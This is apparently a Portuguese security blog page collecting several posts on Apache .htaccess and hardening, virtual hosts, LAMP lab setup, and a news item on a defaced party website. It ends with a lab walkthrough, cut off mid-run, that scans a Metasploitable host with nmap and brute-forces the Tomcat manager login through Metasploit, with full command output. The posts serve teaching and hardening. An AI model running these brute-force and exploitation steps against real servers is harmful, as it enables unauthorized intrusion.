Mostrando postagens com marcador apache. Mostrar todas as postagens
Mostrando postagens com marcador apache. Mostrar todas as postagens

quarta-feira, 6 de maio de 2015

Nesse post estarei "dando uma luz" para quem usa o Apache como servidor web.

Ao instalar seus serviços web, o apache não cria o arquivo .htaccess em seu servidor, exceto se você está usando uma CMS (Sistema de Controle de Conteúdo, sigla em inglês) como por exemplo o WordPress ou o Joomla!.

Visualizando o arquivo no navegador


Para achar seu arquivo pelo navegador, digite na barra de endereços a URL:

http://seusite/.htacess

Substituindo "seusite" pelo link (URL) do seu site.

Dependendo das configurações do servidor, podem aparecer de muitas formas diferentes o seu conteúdo.

Acessando o .htaccess em servidores linux


Por padrão ele vem oculto dentro de /var/www/ do seu servidor, para ativá-lo entre no terminal e digite

sudo nano /etc/apache2/site-a-editar/default

Substitua "site-a-editar" pelo nome do diretório do seu site.

Se tudo correr bem, você deverá ver algo assim:

<Directory /var/www/>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride All
                Order allow,deny
                allow from all
 </Directory>

Salve o arquivo e depois reinicie o serviço web do seu apache digitando:

sudo service apache2 restart

Pronto, agora ele já está funcionando.

Editando o .htaccess em servidores linux


Você pode criá-lo por um editor de textos gráfico e salvá-lo como ".htaccess", tendo cuidado para que seja somente esse o nome do arquivo, sem extensões ou outras palavras e colocá-lo no servidor por meio de um upload.

Ou então no terminal digite

sudo nano /var/www/exemplo.com/.htaccess

Substitua "exemplo.com" para o nome do seu site no apache.

Alterando as permissões de autenticação


Usando o atributo "Authentication" podemos restringir o acesso a certas áreas do site. Usar o htaccess é mais efetivo que o apache2.conf pois este necessita de permissões especiais e muito mais conhecimento técnico.

Para que isso funcione bem, existe a necessidade de criar um arquivo chamado .htpasswd para que este seja o banco de usuários e senhas aceitas na autenticação. Para criá-lo recomendo que use um editor gráfico de texto.

A criação e edição do .htpasswd é muito fácil, após ter criado o arquivo, abra-o e coloque nele os usuários e suas respectivas senhas como exemplo:

joao:senhadeleaqui
maria:amo!minhamae
lucas:sacul2015

Não escreva mais nada nele e tenha cuidado para que cada usuário esteja em uma linha sozinho com sua senha e com entradas duplicadas (que podem causar "bugs" no sistema).

Caso necessite de criptografia para essas senhas, acesse este site aqui (em inglês) para que não ocorram erros nas configurações do arquivo de senhas.

Por razões de segurança, não coloque o arquivo .htpasswd no mesmo diretório do .htaccess.

Voltando ao .htaccess, adicione o código abaixo em seu arquivo para que o .htpasswd seja encontrado pelo servidor.

AuthUserFile /usr/local/nome-usuario-local/pasta-diferente-qualquer/.htpasswd
AuthGroupFile /dev/null
AuthName "Mensagem a ser exibida solicitando a senha"
AuthType Basic
Require valid-user

Substitua "nome-usuario-local" pelo nome do usuário do servidor local e "pasta-diferente-qualquer" pelo nome da pasta que escolheste para o arquivo .htpasswd . Ao lado de "AuthName" coloque a mensagem entre aspas que vai ser vista no navegador pelo usuário. Somente altere a segunda linha se for necessário, caso contrário deixe-a como está.

Não altere as duas últimas linhas, pois elas que vão tratar e filtrar os dados inseridos pelo usuário no navegador.

Pronto, agora o .htaccess está funcional e com um sistema básico de credenciais para acesso.


Alterando as páginas de erro padrão


Página de erro 404 padrão do apache
Você pode perguntar-se, "Por que eu faria isso? Elas não estão funcionando bem?". Sim, porém quando não muda-se as páginas padrão, elas exibem informações como a porta do seu servidor que está com o serviço httpd rodando, além de qual sistema operacional está rodando o apache (veja a imagem acima), então não é recomendável deixá-las padrão.

Para alterá-la é bem simples, vá até o .htaccess e adicione a seguinte linha

ErrorDocument 404 /new404.html

Substitua "404" pelo erro que deseja mudar e "/new404.html" pela página a qual deva ser exibida caso o erro ocorra. Não esqueça que cada redirecionamento tem de estar em uma linha sozinho.

Outro exemplo fictício:

ErrorDocument 404 /index.php
ErrorDocument 500 /index.php
ErrorDocument 401 /index.php
ErrorDocument 402 /index.php
ErrorDocument 403 /index.php

No exemplo acima, os erros foram redirecionados para a página principal do site.

Se quiser um guia completo de quais códigos numéricos de erro colocar no seu arquivo entre aqui na Wikipedia.

Bloqueando acesso a todas as pastas do servidor


Porque fazer isso? Para que evite que o usuário caia em páginas do tipo "index of /". Partindo do pressuposto de que seu servidor só precisa exibir páginas web, não é necessário deixar as pastas acessáveis externamente.

Fazer isso é bem simples, é só adicionar o código abaixo no arquivo .htaccess

Options All -Indexes

Pronto, as páginas do tipo "index of /" estarão inacessíveis pelo navegador.

Restringindo acesso a qualquer outro arquivo pelo navegador


Com o código abaixo colocado no seu arquivo .htaccess

<Files .htaccess>
Order Allow,Deny
Deny from all
</Files>

Substitua ".htaccess" na primeira linha pelo caminho do arquivo que quer bloquear.

Caso necessário, substitua a última linha por "Allow nome-usuario" (para liberar um usuário específico) ou "Allow valid-user" (para liberar qualquer usuário logado).


Dica extra


Uma ideia para bloquear o acesso remoto é bloquear qualquer arquivo de log, de backup e, caso seja da política da sua empresa, qualquer outro que não é para ser visto por ninguém, usando o código acima.

Já aviso que para cada arquivo vai ser necessário um novo bloco de código com o seu caminho, etc.


Conclusão


É possível que somente configurando corretamente o arquivo .htaccess a segurança do seu servidor seja aumentada drasticamente, principalmente contra as chamadas "dorks" e os script kiddies da vida.


Referências (em inglês)


http://stackoverflow.com/questions/11728976/how-to-deny-access-to-a-file-in-htaccess
http://httpd.apache.org/docs/current/howto/htaccess.html
https://www.digitalocean.com/community/tutorials/how-to-use-the-htaccess-file

Espero que tenha ficado claro e até a próxima pessoal.

"Grandes conhecimentos trazem grandes responsabilidades"

segunda-feira, 12 de agosto de 2013

'O Brasil que saber onde está Amarildo', diz texto publicado na página.
Pedreiro, sumido desde julho, foi visto pela última vez saindo de UPP.


O site do PMDB foi invadido no início da tarde desta segunda-feira (12) por hackers que publicaram na página um texto cobrando explicações do governador do Rio de Janeiro, Sérgio Cabral, pelo sumiço do pedreiro Amarildo. O pedreiro está desaparecido desde o dia 14 de julho e foi visto pela última vez deixando a UPP da Rocinha, onde havia prestado depoimento à polícia.
"Sérgio Cabral, cadê o Amarildo?", diz trecho da mensagem publicada na página pelos hackers. "Lutar pelo Amarildo é mostrar que está cansado dessa política inescrupulosa, cansado seja de qual partido for, PMDB, PSDB, PT! De todos!!" A assessoria do PMDB disse que ainda não tinha tomado conhecimento da invasão dos hackers e que vai acionar a área de informática do partido para avaliar a situação.
Site do PMDB foi alvo de hackers no início da tarde desta segunda (Foto: Reprodução/internet)Site do PMDB foi alvo de hackers no início da tarde desta segunda (Foto: Reprodução/internet)
O texto diz ainda que "o Brasil quer saber onde está o Amarildo". O desaparecimento de Amarildo tem sido um dos temas de protestos no Rio de Janeiro contra o governo de Sérgio Cabral. Neste domingo (11), parentes de Amarildo e artistas participaram de um ato no acesso à favela da Rocinha para cobrar explicações sobre o caso.



segunda-feira, 5 de agosto de 2013

Ao acessar qualquer site, há um servidor por trás daquele endereço responsável por disponibilizar as páginas e todos os demais recursos que você pode acessar. Assim, quando você envia um e-mail através de um formulário, coloca uma mensagem em um fórum de discussão, faz uma compra on-line, etc, um servidor Web é responsável por processar todas essas informações.

Bom vamos Criar um servidor web com o APACHE.

S.O - Ubuntu 12.10

Após instalado o S.O vá até o terminal com permissão de root, digite - apt-get update

Para atualizarmos o s.o.

após, execute o comando - sudo apt-get install php5 mysql-server apache2 
esse comando instala o PHP, MySQL e o APACHE.


após instalado vá até o browser e digite o ip do servidor - Ex. - http://ipdoservidor . 
Se aparecer a página "It Works" é que está tudo certo, não ocorreu nenhum problema durante o download.

Essa página aparece porque está dentro de /var/www/ que é o diretório de páginas, caso colocasse outra página dentro de /var/www/ iria abrir normalmente.


Cenário = Você é o responsável pela informática de sua empresa, e seu gestor pede para alojar mais de uma página no servidor web(apache) o que vc faria?
Bom para termos mais de uma página alojada em um servidor web, temos que configurar o apache para suportar Virtual Hosts.


Acessar o arquivo /etc/httpd/conf/httpd.conf - nele configuramos a porta que o APACHE irá funcionar.


CÓDIGO:
<VirtualHost *:80>
ServerAdmin mail@mail.com
DocumentRoot /var/www/root
<Directory "/var/www/root">
AllowOverride none
Require all denied
Satisfy Any
Allow from all
</Directory>
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" combined
CustomLog /var/www/logs/ROOT_log_acesso combined
</VirtualHost>




Essa opção diz ao apache que tem um host virtual a escuta na porta 80  que está no diretório /var/www/root

e que irá criar um log de acessos em /var/www/logs/


Quando se trata de virtual hosts normalmente gosto de definir um host "vazio" (que é o caso deste exemplo) ficando como default do servidor. Para adicionar mais hosts deverá replicar estas configurações acrescentando:



CÓDIGO:
ServerName seudominio.com
ServerAlias *.seudominio.com


Pronto isso faz com que o servidor responda a todos pedidos com o endereço do seu site e encaminhe para a pasta correta no servidor, então configuramos o nosso dominio para apontar para o nosso servidor.

 Blz pessoal tá ai minha contribuição...se puxem...

Duvidas podem retornar...

Flwsss


By - Sabotage 

domingo, 9 de junho de 2013

Se por acaso você tiver um servidor web confira aqui 10 dicas para deixar seu servidor mais seguro.

1. Desative módulos desnecessários


Se você está instalando o apache pelo seu código fonte você deve desativar alguns módulos. Se você usar o ./configure —help você verá todos os módulos que podem ser ativados ou desativados. Antes de desativar confira se não vai necessitar de um desses módulosOs principais são:

userdir – Mapeamento de diretórios específicos de usuários
autoindex – Lista os diretórios quando o index.html não estiver presente
status - Mostra o status do servidor
env - Limpar e configurar variáveis de ambiente
setenvif - Colocar variáveis de ambiente nos cabeçalhos
cgi - Scripts CGI
actions - Ações disparadas em certas requisições
negotiation - Negociação de conteúdo
alias - Mapeamento de requisições para diferentes sistemas de arquivos
include - Declarações server side
filter - Filtro de requisições
versão - Manipulação de informações de versão e arquivos conf
as-is - arquivos as-is

Desabilite isso tudo na hora do comando ./configure, conforme exemplo:

./configure \
--enable-ssl \
--enable-so \
--disable-userdir \
--disable-autoindex \
--disable-status \
--disable-env \
--disable-setenvif \
--disable-cgi \
--disable-actions \
--disable-negotiation \
--disable-alias \
--disable-include \
--disable-filter \
--disable-version \
--disable-asis

Se você habilitar o ssl, terá de habilitar o mod_setenv, se não receberá o erro:

Error: Syntax error on line 223 of /usr/local/apache2/conf/extra/httpd-ssl.conf: Invalid command ‘BrowserMatch’, perhaps misspelled or defined by a module not included in the server configuration

Após a instalação, você pode ver o que está instalado com o comando httpd -l:

/usr/local/apache2/bin/httpd -l
Compiled in modules:
core.c
mod_authn_file.c
mod_authn_default.c
mod_authz_host.c
mod_authz_groupfile.c
mod_authz_user.c
mod_authz_default.c
mod_auth_basic.c
mod_log_config.c
mod_ssl.c
prefork.c
http_core.c
mod_mime.c
mod_dir.c
mod_so.c

Neste caso, temos os seguintes módulos instalados:

core.c – Módulos principais do apache
mod_auth* – Módulos para autenticação
mod_log_config.c – Módulo para tratamento de logs
mod_ssl.c – Para SSL
prefork.c – Para MPM
httpd_core.c – Módulos principais do apache
mod_mime.c – Configurações do MIME
mod_dir.c – Módulo para redirecionamentos de diretórios para a index.html
mod_so.c – Para iniciar módulos no início e reinício

2. Rode o apache em um usuário e grupo separado do resto

Por padrão, o apache roda como nobody ou daemon. É bom rodar o apache com seu próprio usuário sem privilégios. Por exemplo um usuário chamado apache.

Vamos então criar o usuário e o grupo e configurar para ser o padrão do apache

groupadd apache
useradd -d /usr/local/apache2/htdocs -g apache -s /bin/false apache
vi httpd.conf
User apache
Group apache
Após isso, reinicie o apache, e com o comando ps -ef você verá que o apache está rodando no usuário apache.

3. Restrinja o acesso aos diretórios (com deny, allow)

Para isso, defina isso no arquivo httpd.conf:

Options None
Order deny,allow
Deny from all
Isto quer dizer:

Options None – Marcando isto como None vai evitar que alguma opção a mais seja habilitada
Order deny,allow – Isso é como as ações deveram ser seguidas. Usando deny,allow, todas as funções deny serão executadas por primeiro.
Deny from all – Isso remove o acesso a todos dos diretórios raiz. Como não tem nenhuma opção allow todos permanecem sem acesso a raiz.

4. Defina permissões apropriadas para os diretórios conf e bin

Estes diretórios devem ser acessados apenas por usuários autorizados. É uma boa idéia criar um grupo e adicionar todos os usuários que devem acessar e bloquear para todo o resto. Vamos chamar esse grupo de apacheadmin.

groupadd apacheadmin
chown -R root:apacheadmin /usr/local/apache2/bin
chmod -R 770 /usr/local/apache2/bin
chown -R root:apacheadmin /usr/local/apache2/conf
chmod -R 770 /usr/local/apache2/conf
vi /etc/group
apacheadmin:x:1121:user1,user2

5. Remova navegação por diretórios 

Se você não fizer isso, todos os usuários poderão ver todos os arquivos e diretórios, desde a raiz.


Para isso apenas precisamos colocar o None ou -Indexes como parâmetro nos arquivos de configuração:


Options None Order allow,deny Allow from all

ou


Options -Indexes
Order allow,deny
Allow from all

6. Não libere o .htaccess 

Usando o .htaccess dentro de um diretório, os usuários podem reescrever todas as diretivas do apache. Em algumas situações isso é bom, mas este arquivo deve ser evitado.

Precisamos usar a opção "AllowOverride None" para remover o .htaccess:

Options None
AllowOverride None
Order allow,deny
Allow from all

7. Desabilite outras opções



Segue algumas outras opções:


Options All – Todas as opções são habilitadas (exceto MultiViews). Se você não especificar nada, este é o estado padrão.
Options ExecCGI – Executa os scripts CGI (uses mod_cgi)
Options FollowSymLinks – Se você tiver links simbólicos eles serão seguidos
Options Includes – Permite includes server side (usando mod_include)
Options IncludesNOEXEC – Permite includes server side sem a possibilidade de rodar comandos ou scripts
Options Indexes – Remove a listagem de diretórios
Options MultiViews - Permite content negotiated multiviews (usando mod_negotiation)
Options SymLinksIfOwnerMatch – Similar ao FollowSymLinks. Mas, apenas se o dono do link e do diretório que aponta são os mesmos

Nunca especifique ‘Options All’. Sempre use uma ou mais das opções acima (você pode usar várias em conjunto).

Veja alguns exemplos:


Options Includes Indexes
AllowOverride None
Order allow,deny
Allow from all


Options -Includes +FollowSymLink
AllowOverride None
Order allow,deny
Allow from all

8. Remova os módulos DSO desnecessários

Se você carregou algum módulo dinâmico compartilhado no apache, ele estará presente dentro do httpd.conf dentro de "LoadModule".


Comente todas as linhas desnecessárias.

9. Remova o acesso a uma rede específica

Se você quer que seu site seja visto apenas por um range de ip específico ou por uma rede use o seguinte: 


Options None
AllowOverride None
Order deny,allow
Deny from all
Allow from 10.10.0.0/24

Ou


Options None
AllowOverride None
Order deny,allow
Deny from all
Allow from 10.10.1.21

10. Não mostre e nem envie informações com a versão do apache

Por padrão, um servidor HTTP responde nos cabeçalhos a versão do apache e do php. Isso a princípio é inofensivo, mas se pudermos remover essa informação de um possível atacante podemos melhorar nossa segurança.

vi httpd.conf
ServerTokens Prod
Segue abaixo alguns possíveis valores:
ServerTokens Prod displays “Server: Apache”
ServerTokens Major displays “Server: Apache/2″
ServerTokens Minor displays “Server: Apache/2.2″
ServerTokens Min displays “Server: Apache/2.2.17″
ServerTokens OS displays “Server: Apache/2.2.17 (Unix)”
ServerTokens Full displays “Server: Apache/2.2.17 (Unix) PHP/5.3.5″ (Se você não especificar nenhum ServerTokens este será o valor padrão)

Fonte: r00tsec

quinta-feira, 16 de maio de 2013

Olá!

A alguns dias eu postei varias aplicações web vulneráveis para testar e aprender com elas, mas a maioria das perguntas que chegaram foi "como que eu acesso elas". Para resolver essas dúvidas estou criando esse post, ensinando como criar um servidor LAMP para "hospedar" localmente suas aplicações.


Vamos precisar de:

  • Debian/Ubuntu based distro
  • Apache 2 - Linux Web serve
  • MySQL 5 - MySQL Database Server
  • PHP4/5 - PHP Scripting Language
  • phpMyAdmin - Web-based database admin software.

Antes de começar, saiba que um Servidor LAMP quer dizer Linux + Apache + MySQL + PHP/Perl together.

Primeiramente, vamos preparar o sistema operacional para nosso servidor. Vou usar nesse tuto uma distro Linux baseada em Debian/Ubuntu. Pode usar uma vm para o servidor e outra para o atacante, funciona bem. O servidor pode ter apenas 256MB de RAM, não precisaremos mais que isso. Esse é o mínimo, se quiser pode usar mais, menos que isso o MySQL começará a mandar erros.

Vamos fazer toda a instalação pelo apt-get, com isso, poupamos tempo e não temos que nos preocupar com problemas de instalação, configurações e dependencias de pacote. Antes de vermos os comandos, saiba que isto vai fazer seu site ser acessível apenas internamente, para que ele seja acessível para toda a internet você precisa de um servidor dedicado.

E vamos então aos comandos. Usaremos praticamente só terminal para instalar e configurar tudo. O primeiro comando é para nos certificar que está tudo certinho com o sistema, e caso falte algo baixar os pacotes necessários do Debian. Para isso usaremos o comando:

apt-get update

Instalando Apache + PHP


O Apache é um dos mais famosos servidores web para Linux, com apenas alguns comandos conseguiremos configurar o apache para rodar com PHP 4 ou PHP 5.

Se você quiser instalar o PHP 4 use o seguinte comando:
apt-get install apache2 php4 libapache2-mod-php4

Para instalar o PHP5, use o mesmo comando, mudando apenas o "4"pelo "5". O comando ficará assim:
apt-get install apache2 php5 libapache2-mod-php5

O arquivo de configuração do Apache fica no diretório /etc/apache2/apache2.conf e o diretório do seu site em /var/www.

Para testar se o php está instalado e funcionando, crie um arquivo chamado teste.php na pasta /var/www com a função phpinfo() exatamente como mostrado abaixo:
vim /var/www/test.php
# test.php
<?php phpinfo(); ?>


Para saber se funcionou, no browser, digite http://seu_ip/teste.php, se tudo estiver correto você verá todas as configurações default do seu php.

Instalando Banco de Dados MySQL


Quase sempre um banco de dados é necessário para uma aplicação web. Lembrando, use mais de 256MB de RAM para evitar problemas. O seguinte comando instala o servidor e o cliente MySQL:
apt-get install mysql-server mysql-client php5-mysql

Nota: Se você instalou anteriormente o php4, você terá que fazer uma pequena modificação no comando:

apt-get install mysql-server mysql-client php4-mysql



O arquivo de configuração do mysql fica no diretório /etc/mysql/my.conf.


Criando usuários e mudando a senha do root no MySQL


Por default o mysql cria um usuário root sem senha, você precisa mudar isso!

Para mudar a senha:

mysql -u root
mysql> USE mysql;
mysql> UPDATE user SET Password=PASSWORD('nova-senha') WHERE user='root';
mysql> FLUSH PRIVILEGES;

Nunca use o root, sempre crie um usuário para conectar ao banco em um script PHP. Você também pode fazer isso por um painel, como o phpMyAdmin para criar e mudar facilmente permissões de usuário, vamos instalar o phpmyadmin no decorrer dessa configuração.

Instalação do phpMyAdmin


PhpMyAdmin é uma interface web muito boa para organizar e administrar bancos de dados com o apache. Administrar bancos de dados é muito mais fácil com o phpmyadmin do que com tabelas, colunas e tudo mais do terminal, caso preferir pode seguir pela interface web.

Tudo o que precisamos fazer é digitar o comando:
apt-get install phpmyadmin

O arquivo de configuração do phpmyadmin está do diretório /etc/phpmyadmin.

Para que tudo funcione no apache precisamos adicionar uma linha ao arquivo /etc/apache2/apache2.conf:

Include /etc/phpmyadmin/apache.conf

Agora reinicie o apache com o seguinte comando:
/etc/init.d/apache2 restart

Para acessar o painel do phpMyAdmin acesse http://seu_ip/phpmyadmin

E era isso! MySQL e phpMyAdmin estão funcionando também. Agora é só configurar suas aplicações e começar seus estudos!

Para mais informações acesse: http://www.mysql-apache-php.com/

Bons estudos!

terça-feira, 14 de maio de 2013

Olá pessoal!

Vou começar aqui uma série de tutoriais, ensinando a exploitar algumas falhas mais comuns, para o pessoal que está começando. Se você seguiu o post de como montar um lab, provavelmente você tem uma distro Linux chamada Metasploitable.

Vamos usar as falhas dela nessa série. A vulnerabilidade de hoje está no Apache Tomcat 5.5.



Antes de sairmos exploitando tudo primeiro vamos saber o que estamos atacando.

O Apache Tomcat é um projeto colaborativo open source, feito em java, e sua função é ser um server web java. Essa vulnerabilidade que vamos explorar aqui pode ser encontrada em algumas versões, entre elas a 5.5 que está rodando no Metasploitable.


O que vamos precisar?


  • Vitima rodando uma versão vulnerável do Apache Tomcat
  • Distro de pentest com o Framework Metasploit
  • Uma boa wordlist
  • nmap ou qualquer outro port scanner


Localizando o alvo


Antes de sair exploitando tudo o que ver pela frente vamos fazer um rápido reconhecimento do terreno. Para encontrar o server vamos usar o nmap. Primeiramente vamos fazer um ping scan para ver quantos hosts estão na rede.


attacker@blackoutlabs:~# nmap -sP 192.168.0.1/24

Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-24 20:06 BRT
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
MAC Address: 00:1E:58:C2:96:0B (D-Link)
Nmap scan report for 192.168.0.100
Host is up (0.065s latency).
MAC Address: D8:A2:5E:8D:BA:AF (Apple)
Nmap scan report for 192.168.0.101
Host is up (0.066s latency).
MAC Address: 1C:4B:D6:4F:C7:3D (AzureWave)
Nmap scan report for 192.168.0.104
Host is up (0.15s latency).
MAC Address: 0C:74:C2:BA:CE:51 (Apple)
Nmap scan report for 192.168.0.105
Host is up (0.071s latency).
MAC Address: A4:D1:D2:0C:EF:F5 (Apple)
Nmap scan report for 192.168.0.106
Host is up.
Nmap scan report for 192.168.0.107
Host is up (0.00050s latency).
MAC Address: C8:9C:DC:44:FC:6A (Elitegroup Computer System CO.)
Nmap scan report for 192.168.0.108
Host is up (0.00048s latency).
MAC Address: 08:00:27:45:2C:E8 (Cadmus Computer Systems)
Nmap scan report for 192.168.0.109
Host is up (0.055s latency).
MAC Address: E8:11:32:AD:57:9D (Samsung Electronics Co.)
Nmap done: 256 IP addresses (9 hosts up) scanned in 4.68 seconds


Opa bastante pcs, lab todo ligado

E agora? Qual será o nosso alvo?

Novamente com o nmap vamos escanear os ips até encontrar nosso alvo


attacker@blackoutlabs:~# nmap -A 192.168.0.108

Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-24 20:05 BRT
Nmap scan report for 192.168.0.108
Host is up (0.00062s latency).
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17 14:07:45
|_Not valid after: 2010-04-16 14:07:45
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
|_http-title: Site doesn’t have a title (text/html).
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 – 8.3.7
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
MAC Address: 08:00:27:45:2C:E8 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.9 – 2.6.31
Network Distance: 1 hop
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:kernel

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| NetBIOS computer name:
| Workgroup: WORKGROUP
|_ System time: 2012-08-24 20:06:02 UTC-4

TRACEROUTE
HOP RTT ADDRESS
1 0.62 ms 192.168.0.108

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.20 seconds


Opa parece que achamos! Não foi de primeira, levei um tempinho para achar ele ali hehe…

Agora temos algumas informações interessantes. Temos o Apache Tomcat 5.5 rodando na porta 8180 (lembre-se disso). Pronto! Já sabemos onde ele está agora vamos brincar com ele um pouco.


Explorando


Para explorar-mos esse serviço vamos usar o Framework Metasploit e procurar algum exploit para o tomcat.


attacker@blackoutlabs:~# msfconsole
_ _
/ \ / \ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | | | | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | |_ \__/ | | | |_
|/ |____/ \___\/ /\ \___/ \/ \__| |_\ \___\


+ — – =[metasploit v4.5.0-dev [core:4.5 api:1.0]
+ — – =[ 927 exploits - 499 auxiliary - 151 post]
+ — – =[ 251 payloads - 28 encoders - 8 nops]

msf> search tomcat
Matching Modules
================

Name Disclosure Date Rank Description
—- ————— —- ———–
auxiliary/admin/http/tomcat_administration normal Tomcat Administration Tool Default Access
auxiliary/admin/http/tomcat_utf8_traversal normal Tomcat UTF-8 Directory Traversal Vulnerability
auxiliary/admin/http/trendmicro_dlp_traversal normal TrendMicro Data Loss Prevention 5.5 Directory Traversal
auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09 00:00:00 UTC normal Apache Tomcat Transfer-Encoding Information Disclosure and DoS
auxiliary/dos/http/hashcollision_dos 2011-12-28 00:00:00 UTC normal Hashtable Collisions
auxiliary/scanner/http/tomcat_enum normal Apache Tomcat User Enumeration
auxiliary/scanner/http/tomcat_mgr_login normal Tomcat Application Manager Login Utility
exploit/multi/http/tomcat_mgr_deploy 2009-11-09 00:00:00 UTC excellent Apache Tomcat Manager Application Deployer Authenticated Code Execution


Opa temos alguns exploits interessantes. Vamos usar o tomcat_mgr_login para fazer um bruteforce. Antes de invadir precisamos de um user/pass válido.


msf> use auxiliary/scanner/http/tomcat_mgr_login
msf (tomcat_mgr_login)> show options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

Name Current Setting Required Description
—- ————— ——– ———–
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASSWORD no A specific password to authenticate with
PASS_FILE /opt/metasploit/msf3/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
URI /manager/html yes URI for Manager login. Default is /manager/html
USERNAME no A specific username to authenticate as
USERPASS_FILE /opt/metasploit/msf3/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS true no Try the username as the password for all users
USER_FILE /opt/metasploit/msf3/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host


Bom, esse exploit precisa de bastante coisas. Vamos acrescentar o host que encontramos antes, a porta (lembra qual era? Sempre preste atenção nisso), caso ele não encontre com os usuarios e senhas padrão vamos acrescentar nossas wordlists em PASS_FILE e USER_FILE e caso ele não encontre no diretório padrão precisaremos mudar isso também em URI.


msf (tomcat_mgr_login) > set BLANK_PASSWORDS false
BLANK_PASSWORDS => false
msf (tomcat_mgr_login) > set RHOSTS 192.168.0.108
RHOSTS => 192.168.0.108
msf (tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf (tomcat_mgr_login) > exploit

[*][192.168.0.108:8180 TOMCAT_MGR - [01/45] – Trying username:’admin’ with password:’admin’
[-][192.168.0.108:8180 TOMCAT_MGR - [01/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘admin’
[*][192.168.0.108:8180 TOMCAT_MGR - [02/45] – Trying username:’manager’ with password:’manager’
[-][192.168.0.108:8180 TOMCAT_MGR - [02/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘manager’
[*][192.168.0.108:8180 TOMCAT_MGR - [03/45] – Trying username:’role1′ with password:’role1′
[-][192.168.0.108:8180 TOMCAT_MGR - [03/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘role1′
[*][192.168.0.108:8180 TOMCAT_MGR - [04/45] – Trying username:’root’ with password:’root’
[-][192.168.0.108:8180 TOMCAT_MGR - [04/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘root’
[*][192.168.0.108:8180 TOMCAT_MGR - [05/45] – Trying username:’tomcat’ with password:’tomcat’
[+][http://192.168.0.108:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login ‘tomcat’ : ‘tomcat’
[*][192.168.0.108:8180 TOMCAT_MGR - [06/45] – Trying username:’both’ with password:’both’
[-][192.168.0.108:8180 TOMCAT_MGR - [06/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘both’
[*][192.168.0.108:8180 TOMCAT_MGR - [07/45] – Trying username:’j2deployer’ with password:’j2deployer’
[-][192.168.0.108:8180 TOMCAT_MGR - [07/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘j2deployer’
[*][192.168.0.108:8180 TOMCAT_MGR - [08/45] – Trying username:’ovwebusr’ with password:’ovwebusr’
[-][192.168.0.108:8180 TOMCAT_MGR - [08/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘ovwebusr’
[*][192.168.0.108:8180 TOMCAT_MGR - [09/45] – Trying username:’cxsdk’ with password:’cxsdk’
[-][192.168.0.108:8180 TOMCAT_MGR - [09/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘cxsdk’
[*][192.168.0.108:8180 TOMCAT_MGR - [10/45] – Trying username:’ADMIN’ with password:’ADMIN’
